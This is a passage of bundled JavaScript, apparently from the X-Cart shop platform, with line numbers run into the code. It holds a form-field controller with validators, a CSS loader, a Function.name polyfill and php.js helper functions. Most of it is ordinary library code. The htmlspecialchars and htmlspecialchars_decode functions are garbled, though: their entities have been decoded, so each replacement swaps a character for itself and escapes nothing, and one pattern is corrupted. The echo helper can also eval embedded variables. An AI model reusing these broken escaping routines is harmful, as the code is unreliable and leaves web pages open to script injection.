.addClass('wheel-mark') 4929 .html(' ') 4930 .insertAfter(this.$element); 4931 } 4932 4933 this.$element.addClass('wheel-mark-input'); 4934 4935 this.$element.focus( 4936 function() { 4937 jQuery(this).addClass('focused'); 4938 } 4939 ); 4940 4941 this.$element.blur( 4942 function() { 4943 jQuery(this).removeClass('focused'); 4944 } 4945 ); 4946}; 4947 4948// Update element by mouse wheel 4949CommonElement.prototype.updateByMouseWheel = function(event, delta) 4950{ 4951 event.stopPropagation(); 4952 4953 var value = false;
4954 var mantis = 0; 4955 4956 if (this.element.value.length == 0) { 4957 value = 0; 4958 4959 } else if (this.element.value.search(/^ *[+-]?[0-9]+\.?[0-9]* *$/) != -1) { 4960 var m = this.element.value.match(/^ *[+-]?[0-9]+\.([0-9]+) *$/); 4961 if (m && m[1]) { 4962 mantis = m[1].length; 4963 } 4964 4965 value = parseFloat(this.element.value); 4966 if (isNaN(value)) { 4967 value = false; 4968 } 4969 } 4970 4971 if (value !== false) { 4972 4973 value = value + delta; 4974 4975 if ( 4976 typeof(jQuery(this).mousewheel) !== 'undefined' 4977 && typeof(jQuery(this).mousewheel.options) !== 'undefined' 4978 ) { 4979 4980 var mwBase = jQuery(this).mousewheel.options, 4981 min = parseFloat(mwBase.min), 4982 max = parseFloat(mwBase.max); 4983 4984 if (typeof(mwBase.min) !== 'undefined' && min > value) { 4985 value = min; 4986 } else if (typeof(mwBase.max) !== 'undefined' && max < value) { 4987 value = max; 4988 } 4989 } 4990 4991 value = mantis 4992 ? Math.round(value * Math.pow(10, mantis)) / Math.pow(10, mantis) 4993 : Math.round(value); 4994 4995 var oldValue = this.element.value; 4996 this.element.value = value; 4997 4998 if (jQuery(this.element).validationEngine('validate')) { 4999 this.element.value = oldValue; 5000 5001 } else { 5002 this.$element.change(); 5003 jQuery(this.element.form).change(); 5004 5005 } 5006 5007 this.$element.removeClass('wrong-amount'); 5008 } 5009 5010 return false; 5011}; 5012 5013// Undo changes 5014CommonElement.prototype.undo = function() 5015{ 5016 if (this.isChanged(true)) { 5017 if (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['checkbox', 'radio']) !== -1) { 5018 this.element.checked = this.element.initialValue; 5019 5020 } else { 5021 this.element.value = this.element.initialValue; 5022 } 5023 this.$element.change(); 5024 5025 this.$element.trigger('undo'); 5026 } 5027}; 5028 5029// Element is state watcher 5030CommonElement.prototype.isWatcher = function() 5031{ 5032 return typeof(this.element.selfSubmitting) !== 'undefined'; 5033}; 5034 5035// Element is changed state watcher 5036CommonElement.prototype.isChangedWatcher = function() 5037{ 5038 return this.isWatcher() && this.element.selfSubmitTO; 5039}; 5040 5041// Check - element changed or not 5042CommonElement.prototype.isChanged = function(onlyVisible) 5043{ 5044 var result = false;
5045 5046 if ((!(onlyVisible && !this.isVisible()) && this.isSignificantInput()) || this.isAffectChange()) { 5047 if ( 5048 (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['text', 'number', 'password', 'hidden', 'file']) !== -1) 5049 || isElement(this.element, 'select') 5050 || isElement(this.element, 'textarea') 5051 ) { 5052 if (isElement(this.element, 'select') && this.$element.prop('multiple')) { 5053 result = !this.isEqualArrayValues(this.element.initialValue, this.$element.val(), this.$element); 5054 5055 } else { 5056 result = !this.isEqualValues(this.element.initialValue, this.element.value, this.$element); 5057 } 5058 5059 } else if (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['checkbox', 'radio']) !== -1) { 5060 result = !this.isEqualValues(this.element.initialValue, !!this.element.checked, this.$element); 5061 } 5062 } 5063 5064 return result; 5065}; 5066 5067// Check - element was filled once or not 5068CommonElement.prototype.wasFilledOnce = function () 5069{ 5070 if (!this.wasFilled) { 5071 if (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['text', 'password', 'hidden', 'file']) !== -1) { 5072 this.wasFilled = !_.isEmpty(this.element.value) || this.isChanged(true); 5073 } else { 5074 this.wasFilled = true; 5075 } 5076 } 5077 5078 return this.wasFilled; 5079}; 5080 5081// Check - element is significant or not 5082CommonElement.prototype.isSignificantInput = function () 5083{ 5084 return !this.$element.hasClass('not-significant'); 5085}; 5086 5087CommonElement.prototype.isAffectChange = function () 5088{ 5089 return this.$element.hasClass('affect-change'); 5090}; 5091 5092CommonElement.prototype.isRequired = function () 5093{ 5094 return this.element.className.indexOf('required') != -1; 5095}; 5096 5097// Check element old value and new valies - equal or not 5098CommonElement.prototype.isEqualValues = function(oldValue, newValue) 5099{ 5100 return oldValue == newValue; 5101}; 5102 5103// Check array values and return true if they are equal 5104CommonElement.prototype.isEqualArrayValues = function(oldValue, newValue, element) 5105{ 5106 var result = false;
5107 5108 if (oldValue == null) { 5109 result = (oldValue == newValue); 5110 5111 } else if (newValue != null && oldValue.length == newValue.length) { 5112 5113 result = true; 5114 5115 for (var i = 0; i < oldValue.length; i++) { 5116 if (oldValue[i] != newValue[i]) { 5117 result = false; 5118 break; 5119 } 5120 } 5121 } 5122 5123 return result; 5124}; 5125 5126// Save element value as initial value 5127CommonElement.prototype.saveValue = function() 5128{ 5129 var customInitValue = this.$element.data('init-value'); 5130 this.element.initialValue = customInitValue ? customInitValue : this.getCanonicalValue(); 5131}; 5132 5133// Get canonical element value 5134CommonElement.prototype.getCanonicalValue = function() 5135{ 5136 var result = null; 5137 5138 if ( 5139 (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['text', 'number', 'password', 'hidden', 'file']) != -1) 5140 || isElement(this.element, 'select') 5141 || isElement(this.element, 'textarea') 5142 ) { 5143 if (isElement(this.element, 'select') && this.$element.prop('multiple')) { 5144 result = this.$element.val(); 5145 5146 } else { 5147 result = this.element.value; 5148 } 5149 5150 } else if (isElement(this.element, 'input') && jQuery.inArray(this.element.type, ['checkbox', 'radio']) != -1) { 5151 result = this.element.checked; 5152 } 5153 5154 return result; 5155}; 5156 5157// Prepare element before background submit 5158CommonElement.prototype.preprocessBackgroundSubmit = function() 5159{ 5160 if (this.$element.hasClass('progress-mark-owner') && this.isVisible() && this.isChanged()) { 5161 this.markAsProgress(); 5162 } 5163 5164 if (!this.$element.prop('readonly')) { 5165 if (isElement(this.element, 'select')) { 5166 this.$element.addClass('readonly-mark'); 5167 } 5168 this.$element.prop('readonly', 'readonly'); 5169 this.element.isTemporaryReadonly = true; 5170 } 5171}; 5172 5173// Prepare element after background submit 5174CommonElement.prototype.postprocessBackgroundSubmit = function() 5175{ 5176 if (this.getForm() && this.getForm().isSaveValue(this)) { 5177 this.saveValue(); 5178 } 5179 5180 if (this.$element.hasClass('progress-mark-apply')) { 5181 this.unmarkAsProgress(); 5182 } 5183 5184 if (this.element.isTemporaryReadonly) { 5185 if (isElement(this.element, 'select')) { 5186 this.$element.removeClass('readonly-mark'); 5187 } 5188 this.$element.prop('readonly', false); 5189 this.element.isTemporaryReadonly = null; 5190 } 5191}; 5192 5193// 'Skip current background submit' form event 5194CommonElement.prototype.skipCurrentBgSubmit = function() 5195{ 5196 this.postprocessBackgroundSubmit(); 5197}; 5198 5199CommonElement.prototype.linkWithCountry = function() 5200{ 5201 var countryName = this.element.name.replace(/state/, 'country'); 5202 var country = this.element.form.elements.namedItem(countryName); 5203 5204 if (country && typeof(window.CountriesStates) !== 'undefined') { 5205
5206 this.element.isFocused = false; 5207 5208 jQuery(this.$element) 5209 .focus(function() { 5210 this.isFocused = true; 5211 }) 5212 .blur(function() { 5213 this.isFocused = false; 5214 }); 5215 5216 var stateSwitcher = document.createElement('input'); 5217 stateSwitcher.type = 'hidden'; 5218 stateSwitcher.name = this.element.name.replace(/state/, 'is_custom_state'); 5219 stateSwitcher.value = isElement(this.element, 'input') ? '1' : ''; 5220 country.form.appendChild(stateSwitcher); 5221 new CommonElement(stateSwitcher); 5222 5223 this.element.currentCountryCode = false; 5224 country.stateInput = this.element; 5225 5226 var o = this; 5227 5228 o.lastStateText = ''; 5229 5230 var replaceElement = function(type) 5231 { 5232 var inp = document.createElement(type); 5233 if (type == 'input') { 5234 inp.type = 'text'; 5235 } 5236 inp.id = this.stateInput.id; 5237 inp.className = this.stateInput.className; 5238 inp.name = this.stateInput.name; 5239 inp.currentCountryCode = this.stateInput.currentCountryCode; 5240 5241 var isFocused = this.stateInput.isFocused; 5242 5243 jQuery(this.stateInput).replaceWith(inp); 5244 this.stateInput = inp; 5245 5246 if (isFocused) { 5247 this.stateInput.focus(); 5248 } 5249 5250 jQuery(this.stateInput) 5251 .focus(function() { 5252 this.isFocused = true; 5253 }) 5254 .blur(function() { 5255 this.isFocused = false; 5256 }); 5257 5258 o.bind(inp); 5259 }; 5260 5261 var change = function() 5262 { 5263 if (this.stateInput.currentCountryCode == this.value) { 5264 return true; 5265 } 5266 5267 this.stateInput.currentCountryCode = this.value; 5268 5269 if (typeof(CountriesStates[this.value]) === 'undefined') { 5270 5271 // As input box 5272 if (!isElement(this.stateInput, 'input')) { 5273 replaceElement.call(this, 'input'); 5274 this.stateInput.value = o.lastStateText; 5275 } 5276 5277 stateSwitcher.value = '1'; 5278 5279 } else { 5280 5281 // As select box 5282 var previousSelected = null; 5283 if (isElement(this.stateInput, 'select')) { 5284 5285 if (this.stateInput.options.length > 0 && this.stateInput.options[this.stateInput.selectedIndex].value !== '' ) { 5286 previousSelected = this.stateInput.options[this.stateInput.selectedIndex].value; 5287 jQuery('option', this.stateInput).remove(); 5288 } 5289 5290 } else { 5291 o.lastStateText = this.stateInput.value; 5292 replaceElement.call(this, 'select'); 5293 } 5294 5295 for (var i = 0; i < CountriesStates[this.value].length; i++) { 5296 var s = CountriesStates[this.value][i]; 5297 this.stateInput.options[i] = new Option(s.state, s.state_code); 5298 5299 if (previousSelected && previousSelected == s.state_code) { 5300 this.stateInput.options[i].selected = true; 5301 this.stateInput.selectedIndex = i; 5302 } 5303 } 5304 5305 stateSwitcher.value = ''; 5306 } 5307 }; 5308 5309 jQuery(country).change(change); 5310 5311 change.call(country); 5312 } 5313}; 5314 5315// Prepare element with onclick-based location change 5316CommonElement.prototype.processLocation = function() 5317{ 5318 if ( 5319 this.$element.attr('onclick') 5320 && this.$element.attr('onclick').toString().search(/\.location[ ]*=[ ]*['"].+['"]/) !== -1 5321 ) { 5322 var m = this.$element.attr('onclick').toString().match(/\.location[ ]*=[ ]*['"](.+)['"]/); 5323 this.$element 5324 .data('location', m[1]) 5325 .removeAttr('onclick'); 5326 } 5327}; 5328 5329// Toggle element activity 5330CommonElement.prototype.toggleActivity = function(condition) 5331{ 5332 if ( 5333 (typeof(condition) !== 'undefined' && condition) 5334 || (typeof(condition) === 'undefined' && !this.isEnabled()) 5335 ) { 5336 this.enable(); 5337 5338 } else { 5339 this.disable(); 5340 } 5341}; 5342 5343// Check element activity 5344CommonElement.prototype.isEnabled = function() 5345{ 5346 return !this.$element.hasClass('disabled'); 5347}; 5348 5349// Disable element 5350CommonElement.prototype.disable = function() 5351{ 5352 var common_container = this.$element.parents(".table-value").parent(); 5353 5354 common_container.addClass('disabled'); 5355 this.$element 5356 .addClass('disabled') 5357 .prop('disabled', true); 5358}; 5359 5360// Enable element 5361CommonElement.prototype.enable = function() 5362{ 5363 var common_container = this.$element.parents(".table-value").parent(); 5364 5365 common_container.removeClass('disabled'); 5366 this.$element 5367 .removeClass('disabled') 5368 .prop('disabled', false); 5369}; 5370 5371CommonElement.prototype.handleChange = function(event) 5372{ 5373 var controlReadiness = this.element.form && this.element.form.commonController.controlReadiness; 5374 5375 if (controlReadiness 5376 || this.$element.hasClass('validation-error') 5377 || this.$element.hasClass('touched') 5378 ) { 5379 this.validate(); 5380 } 5381 5382 if (controlReadiness) { 5383 this.element.form.commonController.processReadiness(); 5384 } 5385 5386 this.$element.addClass('touched'); 5387}; 5388 5389CommonElement.prototype.handleKeyUp = function(event) 5390{ 5391 if (this.isSignificantInput()) { 5392 jQuery(this.element.form).change(); 5393 } 5394}; 5395 5396CommonElement.prototype.handleKeyUpControlReadiness = function(event) 5397{ 5398 var controlReadiness = this.element.form && this.element.form.commonController.controlReadiness; 5399 5400 if (controlReadiness) { 5401 this.element.form.commonController.processReadiness(); 5402 } 5403}; 5404 5405CommonElement.prototype.handleValidationEngineResult = function(event, field, errorFound, prompText) 5406{ 5407 if (errorFound) { 5408 jQuery('.formError').remove(); 5409 5410 if ( 5411 !field.data('validation-silent') 5412 || (field.get(0).isChanged() && field.get(0) !== document.activeElement) 5413 ) { 5414 field.get(0).commonController.markAsInvalid( 5415 prompText.replace(/^\* /g, '').replace(/<br.>.*$/g, '') 5416 ); 5417 } 5418 } else { 5419 field.get(0).commonController.unmarkAsInvalid(); 5420 } 5421 5422 field.data('validation-error', errorFound); 5423}; 5424 5425/** 5426 * Validators 5427 */ 5428 5429// E-mail 5430CommonElement.prototype.validateEmail = function() 5431{ 5432 var re = new RegExp( 5433 "^[a-z0-9!#$%&\'*+\\/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&\'*+\\/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z](?:[a-z0-9-]*[a-z0-9])?\\s*$", 5434 'gi' 5435 ); 5436 5437 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5438 5439 return {
5440 status: !apply || !this.element.value.length || this.element.value.search(re) !== -1, 5441 message: 'Enter a correct email', 5442 apply: apply 5443 }; 5444}; 5445 5446// Integer 5447CommonElement.prototype.validateInteger = function() 5448{ 5449 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5450 5451 return { 5452 status: !apply || !this.element.value.length || this.element.value.search(/^ *[0-9]+ */) != -1, 5453 message: 'Enter an integer', 5454 apply: apply 5455 }; 5456}; 5457 5458// Float 5459CommonElement.prototype.validateFloat = function() 5460{ 5461 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5462 5463 var value = this.element.value.replace(/^ +/, '').replace(/ +$/, ''); 5464 var sanitized = parseFloat(value); 5465 5466 return { 5467 status: !apply || !this.element.value.length || (!isNaN(sanitized)), 5468 message: 'Enter a number', 5469 apply: apply 5470 }; 5471}; 5472 5473// Positive number 5474CommonElement.prototype.validatePositive = function() 5475{ 5476 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5477 5478 var value = parseFloat(this.element.value); 5479 5480 return { 5481 status: !apply || !this.element.value.length || (!isNaN(value) && value >= 0), 5482 message: 'Enter a positive number', 5483 apply: apply 5484 }; 5485}; 5486 5487// Negative number 5488CommonElement.prototype.validateNegative = function() 5489{ 5490 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5491 5492 var value = parseFloat(this.element.value); 5493 5494 return { 5495 status: !apply || !this.element.value.length || (!isNaN(value) && value <= 0), 5496 message: 'Enter a negative number', 5497 apply: apply 5498 }; 5499}; 5500 5501// Non-zero number 5502CommonElement.prototype.validateNonZero = function() 5503{ 5504 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5505 5506 var value = parseFloat(this.element.value); 5507 5508 return { 5509 status: !apply || !this.element.value.length || (!isNaN(value) && value != 0), 5510 message: 'Zero cannot be used', 5511 apply: apply 5512 }; 5513}; 5514 5515// Range (min - max) number 5516CommonElement.prototype.validateRange = function() 5517{ 5518 var apply = isElement(this.element, 'input') || isElement(this.element, 'textarea'); 5519 5520 var result = { 5521 status: true, 5522 message: 'This field is required', 5523 apply: apply 5524 }; 5525 5526 if (apply && this.element.value.length) { 5527 5528 var value = parseFloat(this.element.value); 5529 5530 if (isNaN(value)) { 5531 result.status = false; 5532 5533 } else if (typeof(this.element.min) !== 'undefined' && this.element.min > value) { 5534 result.status = false; 5535 result.message = 'Field too small!'; 5536 5537 } else if (typeof(this.element.max) !== 'undefined' && this.element.max < value) { 5538 5539 result.status = false; 5540 result.message = 'Field too big!'; 5541 } 5542 } 5543 5544 return result; 5545}; 5546 5547// Required field 5548CommonElement.prototype.validateRequired = function() 5549{ 5550 return { 5551 status: this.element.value !== null && this.element.value.length > 0, 5552 message: 'Field is required!', 5553 apply: true 5554 }; 5555}; 5556 5557// Handlers mechanism 5558 5559// Assign handlers 5560CommonElement.prototype.assignHandlers = function () 5561{ 5562 var o = this; 5563 5564 jQuery.each( 5565 this.handlers, 5566 function (index, elm) { 5567 if (elm.canApply.call(o)) { 5568 elm.handler.call(o); 5569 } 5570 } 5571 ); 5572}; 5573 5574// Handlers repository 5575CommonElement.prototype.handlers = [ 5576 { 5577 canApply: function () { 5578 return this.$element.hasClass('watcher'); 5579 }, 5580 handler: CommonElement.prototype.markAsWatcher 5581 }, 5582 { 5583 canApply: function () { 5584 return this.$element.hasClass('field-state') && this.$element.hasClass('linked'); 5585 }, 5586 handler: CommonElement.prototype.linkWithCountry 5587 }, 5588 { 5589 canApply: function () { 5590 return this.$element.hasClass('column-switcher') && this.$element.parents('th').length > 0; 5591 }, 5592 handler: CommonElement.prototype.markAsColumnSwitcher 5593 }, 5594 { 5595 canApply: function () { 5596 return this.$element.hasClass('wheel-ctrl'); 5597 }, 5598 handler: CommonElement.prototype.markAsWheelControlled 5599 }, 5600 { 5601 canApply: function () { 5602 return this.$element.is('textarea.resizeble-txt'); 5603 }, 5604 handler: function() { 5605 var min = this.$element.data('min-size-height') || this.$element.height(); 5606 var max = this.$element.data('max-size-height'); 5607 5608 this.$element.TextAreaExpander(min, max); 5609 } 5610 }, 5611 { 5612 canApply: function () { 5613 return this.$element; 5614 }, 5615 handler: function() { 5616 this.$element.blur( 5617 _.bind( 5618 function() { 5619 this.triggerVent('blur', this); 5620 }, 5621 this 5622 ) 5623 ); 5624 } 5625 }, 5626 { 5627 canApply: function () { 5628 return this.$element; 5629 }, 5630 handler: function() { 5631 this.$element.focus( 5632 _.bind( 5633 function() { 5634 this.triggerVent('focus', this); 5635 }, 5636 this 5637 ) 5638 ); 5639 } 5640 } 5641]; 5642 5643CommonElement.prototype.hasDependency = function () 5644{ 5645 return this.$element.closest('.has-dependency').length > 0; 5646}; 5647 5648CommonElement.prototype.getDependency = function () 5649{ 5650 return this.hasDependency() 5651 ? xcart.getCommentedData(this.$element.closest('.has-dependency'), 'depen
5651dency') 5652 : {}; 5653}; 5654 5655CommonElement.prototype.hideByDependency = function () 5656{ 5657 this.$element.closest('.has-dependency').addClass('hidden'); 5658}; 5659 5660CommonElement.prototype.showByDependency = function () 5661{ 5662 this.$element.closest('.has-dependency').removeClass('hidden'); 5663}; 5664 5665// Autostart 5666xcart.autoload(CommonForm); 5667 5668// Common controller as jQuery plugin 5669(function ($) { 5670 jQuery.fn.commonController = function(property) { 5671 var args = Array.prototype.slice.call(arguments, 1); 5672 5673 this.each( 5674 function() { 5675 if (typeof(this.commonController) === 'undefined') { 5676 if (isElement(this, 'form')) { 5677 new CommonForm(this); 5678 5679 } else if ( 5680 isElement(this, 'input') 5681 || isElement(this, 'select') 5682 || isElement(this, 'textarea') 5683 || isElement(this, 'button') 5684 ) { 5685 new CommonElement(this); 5686 } 5687 } 5688 5689 if ( 5690 typeof(this.commonController) !== 'undefined' 5691 && typeof(this.commonController[property]) !== 'undefined' 5692 ) { 5693 if (typeof(this.commonController[property]) === 'function') { 5694 this.commonController[property].apply(this.commonController, args); 5695 5696 } else { 5697 this.commonController[property] = args[0]; 5698 } 5699 } 5700 } 5701 ); 5702 5703 return this; 5704 }; 5705 5706})(jQuery);; 5707/* AUTOGENERATED: loadCSS.min.js */ 5708!function(c){"use strict";function e(e,t,n,o){var r,i=c.document,d=i.createElement("link");if(t)r=t;else{var a=(i.body||i.getElementsByTagName("head")[0]).childNodes;r=a[a.length-1]}var f=i.styleSheets;if(o)for(var l in o)o.hasOwnProperty(l)&&d.setAttribute(l,o[l]);d.rel="stylesheet",d.href=e,d.media="only x",function e(t){if(i.body)return t();setTimeout(function(){e(t)})}(function(){r.parentNode.insertBefore(d,t?r:r.nextSibling)});var s=function(e){for(var t=d.href,n=f.length;n--;)if(f[n].href===t)return e();setTimeout(function(){s(e)})};function u(){d.addEventListener&&d.removeEventListener("load",u),d.media=n||"all"}return d.addEventListener&&d.addEventListener("load",u),(d.onloadcssdefined=s)(u),d}"undefined"!=typeof exports?exports.loadCSS=e:c.loadCSS=e}("undefined"!=typeof global?global:this);; 5709/* AUTOGENERATED: onloadCSS.min.js */ 5710function onloadCSS(n,a){var t;function d(){!t&&a&&(t=!0,a.call(n))}n.addEventListener&&n.addEventListener("load",d),n.attachEvent&&n.attachEvent("onload",d),"isApplicationInstalled"in navigator&&"onloadcssdefined"in n&&n.onloadcssdefined(d)}; 5711/* AUTOGENERATED: Function.name.js */ 5712(function() { 5713 5714 var fnNameMatchRegex = /^\s*function(?:\s|\s*\/\*.*\*\/\s*)+([^\(\s\/]*)\s*/; 5715 5716 function _name() { 5717 var match, name; 5718 if (this === Function || this === Function.prototype.constructor) { 5719 name = "Function"; 5720 } 5721 else if (this !== Function.prototype) { 5722 match = ("" + this).match(fnNameMatchRegex); 5723 name = match && match[1]; 5724 } 5725 return name || ""; 5726 } 5727 5728// Inspect the polyfill-ability of this browser 5729 var needsPolyfill = !("name" in Function.prototype && "name" in (function x() {})); 5730 var canDefineProp = typeof Object.defineProperty === "function" && 5731 (function() { 5732 var result; 5733 try { 5734 Object.defineProperty(Function.prototype, "_xyz", { 5735 get: function() { 5736 return "blah"; 5737 }, 5738 configurable: true 5739 }); 5740 result = Function.prototype._xyz === "blah"; 5741 delete Function.prototype._xyz; 5742 } 5743 catch (e) { 5744 result = false;
5745 } 5746 return result; 5747 })(); 5748 var canDefineGetter = typeof Object.prototype.__defineGetter__ === "function" && 5749 (function() { 5750 var result; 5751 try { 5752 Function.prototype.__defineGetter__("_abc", function() { 5753 return "foo"; 5754 }); 5755 result = Function.prototype._abc === "foo"; 5756 delete Function.prototype._abc; 5757 } 5758 catch (e) { 5759 result = false; 5760 } 5761 return result; 5762 })(); 5763 5764 5765 5766// Add the "private" property for testing, even if the real property can be polyfilled 5767 Function.prototype._name = _name; 5768 5769 5770// Polyfill it! 5771// For: 5772// * IE >=9 <12 5773// * Chrome <33 5774 if (needsPolyfill) { 5775 // For: 5776 // * IE >=9 <12 5777 // * Chrome >=5 <33 5778 if (canDefineProp) { 5779 Object.defineProperty(Function.prototype, "name", { 5780 get: function() { 5781 var name = _name.call(this); 5782 5783 // Since named function definitions have immutable names, also memoize the 5784 // output by defining the `name` property directly on this Function 5785 // instance so that this polyfill will not need to be invoked again 5786 if (this !== Function.prototype) { 5787 Object.defineProperty(this, "name", { 5788 value: name, 5789 configurable: true 5790 }); 5791 } 5792 5793 return name; 5794 }, 5795 configurable: true 5796 }); 5797 } 5798 // For: 5799 // * Chrome <5 5800 else if (canDefineGetter) { 5801 // NOTE: 5802 // The snippet: 5803 // 5804 // x.__defineGetter__('y', z); 5805 // 5806 // ...is essentially equivalent to: 5807 // 5808 // Object.defineProperty(x, 'y', { 5809 // get: z, 5810 // configurable: true, // <-- key difference #1 5811 // enumerable: true // <-- key difference #2 5812 // }); 5813 // 5814 Function.prototype.__defineGetter__("name", function() { 5815 var name = _name.call(this); 5816 5817 // Since named function definitions have immutable names, also memoize the 5818 // output by defining the `name` property directly on this Function 5819 // instance so that this polyfill will not need to be invoked again 5820 if (this !== Function.prototype) { 5821 this.__defineGetter__("name", function() { return name; }); 5822 } 5823 5824 return name; 5825 }); 5826 } 5827 } 5828 5829})();; 5830/* AUTOGENERATED: php.min.js */ 5831function var_export(mixed_expression,bool_return){var retstr='',iret='',cnt=0,x=[],i=0,funcParts=[],idtLevel=arguments[2]||2,innerIndent='',outerIndent='',getFuncName=function(fn){var name=/\W*function\s+([\w\$]+)\s*\(/.exec(fn);if(!name)return'(Anonymous)';return name[1]},_makeIndent=function(idtLevel){return(new Array(idtLevel+1)).join(' ')},__getType=function(inp){var i=0,match,type=typeof inp;if(type==='object'&&inp!==null&&inp.constructor&&getFuncName(inp.constructor)==='PHPJS_Resource')return'resource';if(type==='function')return'function';if(type==='object'&&!inp)return'null';if(type==="object"){if(!inp.constructor)return'object';var cons=inp.constructor.toString();match=cons.match(/(\w+)\(/);if(match)cons=match[1].toLowerCase();var types=["boolean","number","string","array"];for(i=0;i<types.length;i++)if(cons===types[i]){type=types[i];break}};return type},type=__getType(mixed_expression);if(type===null){retstr="NULL"}else if(type==='array'||type==='object'){outerIndent=_makeIndent(idtLevel-2);innerIndent=_makeIndent(idtLevel);for(i in mixed_expression){var value=this.var_export(mixed_expression[i],true,idtLevel+2);x[cnt++]=innerIndent+i+' => '+(__getType(mixed_expression[i])==='array'?'\n':'')+value};iret=x.join(',\n');retstr=outerIndent+"array (\n"+iret+'\n'+outerIndent+')'}else if(type==='function'){funcParts=mixed_expression.toString().match(/function .*?\((.*?)\) \{([\s\S]*)\}/);retstr="create_function ('"+funcParts[1]+"', '"+funcParts[2].replace(new RegExp("'",'g'),"\\'")+"')"}else if(type==='resource'){retstr='NULL'}else retstr=(typeof mixed_expression!=='string')?mixed_expression:"'"+mixed_expression.replace(/(["'])/g,"\\$1").replace(/\0/g,"\\0")+"'";if(bool_return!==true){this.echo(retstr);return null}else return retstr} 5832function is_null(mixed_var){return(mixed_var===null)} 5833function echo(){var arg='',argc=arguments.length,argv=arguments,i=0,holder,win=this.window,d=win.document,ns_xhtml='http://www.w3.org/1999/xhtml',ns_xul='http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul',stringToDOM=function(str,parent,ns,container){var extraNSs='';if(ns===ns_xul)extraNSs=' xmlns:html="'+ns_xhtml+'"';var stringContainer='<'+container+' xmlns="'+ns+'"'+extraNSs+'>'+str+'</'+container+'>',dils=win.DOMImplementationLS,dp=win.DOMParser,ax=win.ActiveXObject;if(dils&&dils.createLSInput&&dils.createLSParser){var lsInput=dils.createLSInput();lsInput.stringData=stringContainer;var lsParser=dils.createLSParser(1,null);return lsParser.parse(lsInput).firstChild}else if(dp){try{var fc=new dp().parseFromString(stringContainer,'text/xml');if(fc&&fc.documentElement&&fc.documentElement.localName!=='parsererror'&&fc.documentElement.namespaceURI!=='http://www.mozilla.org/newlayout/xml/parsererror.xml')return fc.documentElement.firstChild}catch(e){}}else if(ax){var axo=new ax('MSXML2.DOMDocument');axo.loadXML(str);return axo.documentElement};if(d.createElementNS&&(d.documentElement.namespaceURI||d.documentElement.nodeName.toLowerCase()!=='html'||(d.contentType&&d.contentType!=='text/html'))){holder=d.createElementNS(ns,container)}else holder=d.createElement(container);holder.innerHTML=str;while(holder.firstChild)parent.appendChild(holder.firstChild);return false},ieFix=function(node){if(node.nodeType===1){var newNode=d.createElement(node.nodeName),i,len;if(node.attributes&&node.attributes.length>0)for(i=0,len=node.attributes.length;i<len;i++)newNode.setAttribute(node.attributes[i].nodeName,node.getAttribute(node.attributes[i].nodeName));if(node.childNodes&&node.childNodes.length>0)for(i=0,len=node.childNodes.length;i<len;
5833i++)newNode.appendChild(ieFix(node.childNodes[i]));return newNode}else return d.createTextNode(node.nodeValue)},replacer=function(s,m1,m2){if(m1!=='\\'){return m1+eval(m2)}else return s};this.php_js=this.php_js||{};var phpjs=this.php_js,ini=phpjs.ini,obs=phpjs.obs;for(i=0;i<argc;i++){arg=argv[i];if(ini&&ini['phpjs.echo_embedded_vars'])arg=arg.replace(/(.?)\{?\$(\w*?\}|\w*)/g,replacer);if(!phpjs.flushing&&obs&&obs.length){obs[obs.length-1].buffer+=arg;continue};if(d.appendChild){if(d.body){if(win.navigator.appName==='Microsoft Internet Explorer'){d.body.appendChild(stringToDOM(ieFix(arg)))}else{var unappendedLeft=stringToDOM(arg,d.body,ns_xhtml,'div').cloneNode(true);if(unappendedLeft)d.body.appendChild(unappendedLeft)}}else d.documentElement.appendChild(stringToDOM(arg,d.documentElement,ns_xul,'description'))}else if(d.write)d.write(arg)}} 5834function htmlspecialchars(string,quote_style,charset,double_encode){var optTemp=0,i=0,noquotes=false;if(typeof quote_style==='undefined'||quote_style===null)quote_style=2;string=string.toString();if(double_encode!==false)string=string.replace(/&/g,'&');string=string.replace(/</g,'<').replace(/>/g,'>').replace(/\s/g,' ');var OPTS={ENT_NOQUOTES:0,ENT_HTML_QUOTE_SINGLE:1,ENT_HTML_QUOTE_DOUBLE:2,ENT_COMPAT:2,ENT_QUOTES:3,ENT_IGNORE:4};if(quote_style===0)noquotes=true;if(typeof quote_style!=='number'){quote_style=[].concat(quote_style);for(i=0;i<quote_style.length;i++)if(OPTS[quote_style[i]]===0){noquotes=true}else if(OPTS[quote_style[i]])optTemp=optTemp|OPTS[quote_style[i]];quote_style=optTemp};if(quote_style&OPTS.ENT_HTML_QUOTE_SINGLE)string=string.replace(/'/g,''');if(!noquotes)string=string.replace(/"/g,'"');return string} 5835function htmlspecialchars_decode(string,quote_style){var optTemp=0,i=0,noquotes=false;if(typeof quote_style==='undefined')quote_style=2;string=string.toString().replace(/</g,'<').replace(/>/g,'>').replace(/ /g,' ');var OPTS={ENT_NOQUOTES:0,ENT_HTML_QUOTE_SINGLE:1,ENT_HTML_QUOTE_DOUBLE:2,ENT_COMPAT:2,ENT_QUOTES:3,ENT_IGNORE:4};if(quote_style===0)noquotes=true;if(typeof quote_style!=='number'){quote_style=[].concat(quote_style);for(i=0;i<quote_style.length;i++)if(OPTS[quote_style[i]]===0){noquotes=true}else if(OPTS[quote_style[i]])optTemp=optTemp|OPTS[quote_style[i]];quote_style=optTemp};if(quote_style&OPTS.ENT_HTML_QUOTE_SINGLE)string=string.replace(/�*39;/g,"'");if(!noquotes)string=string.replace(/"/g,'"');string=string.replace(/&/g,'&');return string} 5836function str_replace(search,replace,subject,count){var i=0,j=0,temp='',repl='',sl=0,fl=0,f=[].concat(search),r=[].concat(replace),s=subject,ra=Object.prototype.toString.call(r)==='[object Array]',sa=Object.prototype.toString.call(s)==='[object 